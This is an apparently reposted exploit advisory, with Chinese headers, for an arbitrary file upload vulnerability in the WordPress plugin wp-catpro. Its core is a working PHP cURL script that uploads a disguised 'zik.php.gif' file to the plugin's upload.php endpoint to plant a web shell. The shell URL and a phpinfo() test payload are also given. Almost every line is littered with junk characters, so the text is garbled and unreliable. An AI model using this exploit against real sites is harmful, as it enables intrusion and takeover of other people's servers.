Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
9 X( [5 s6 X8 I2 q, A* }* ^+ L2 \# C#-----------------------------------------------------------------------
# G3 @ v" k; T' S ) q* g6 q% B6 i9 Z; Q6 r' ?/ `
作者 => Zikou-16
0 x: ?: S. p4 ]邮箱 => zikou16x@gmail.com0 M7 e1 A7 r2 D9 a! H8 R0 E
测试系统 : Windows 7 , Backtrack 5r3
9 q$ j. J/ q# w } }* V/ [' @下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
! B8 Z7 r) ~1 J! V####7 o* F7 `9 ^% x1 e+ c: p8 E9 M) \
' G+ M* K; @" F2 C3 W3 @! V
#=> Exploit 信息:/ o' p* d. n, D, j% N* @
------------------
5 R% k* J$ Y! C, `5 V# 攻击者可以上传 file/shell.php.gif k8 J- P8 y4 Z& O; C
# ("jpg", "gif", "png") // Allowed file extensions$ c" h4 E; S2 N9 N6 R
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)4 x5 ]+ ^" @3 r# O
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
. i1 S* b) r5 Q, E+ E------------------
* A3 D5 |0 Q/ u9 B7 c4 U6 m 1 {! P1 _" X# E6 g
#=> Exploit
' c0 I; t1 w4 x/ V( O! p% j3 x8 I-----------7 e& h Q5 K& D7 F1 j* h6 U
<?php
# f( N3 ]% `9 s9 F" \7 V# L: a# e + _; u& g; X2 {! K+ \' x3 V+ D
$uploadfile="zik.php.gif";
! g( W. I( U; G7 v% S6 P9 ?$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
4 ~3 G& |$ A/ R7 K; E! p% Ycurl_setopt($ch, CURLOPT_POST, true);# _6 l0 @# Q7 [5 D5 t& X
curl_setopt($ch, CURLOPT_POSTFIELDS,
5 U: c0 j% q4 w+ }, K, ^4 \array('Filedata'=>"@$uploadfile",: _! n, S! C2 P" T+ [- E0 {
'folder'=>'/wp-content/uploads/catpro/'));3 u% I9 ~8 D" ~. h$ n2 o5 [; J* r6 H6 o
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$ x3 V8 c) k/ a
$postResult = curl_exec($ch);
( l; V. S6 y5 J3 G% R: W; }" W4 ecurl_close($ch);
9 I7 M, \: T, ~7 b- {% ?) j
. P) W. ^" k# cprint "$postResult";1 ~0 r! B& Y; `, H. Y w7 c" a/ o
: I9 }6 V$ u# `- M1 d
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif* W) ~, Z1 z' X! ^$ Z M0 Q
?>
: B' {, Z ?3 `<?php
$ ]' {0 N$ a. d5 a2 E' dphpinfo();7 Y9 V" ]: J0 j h
?> |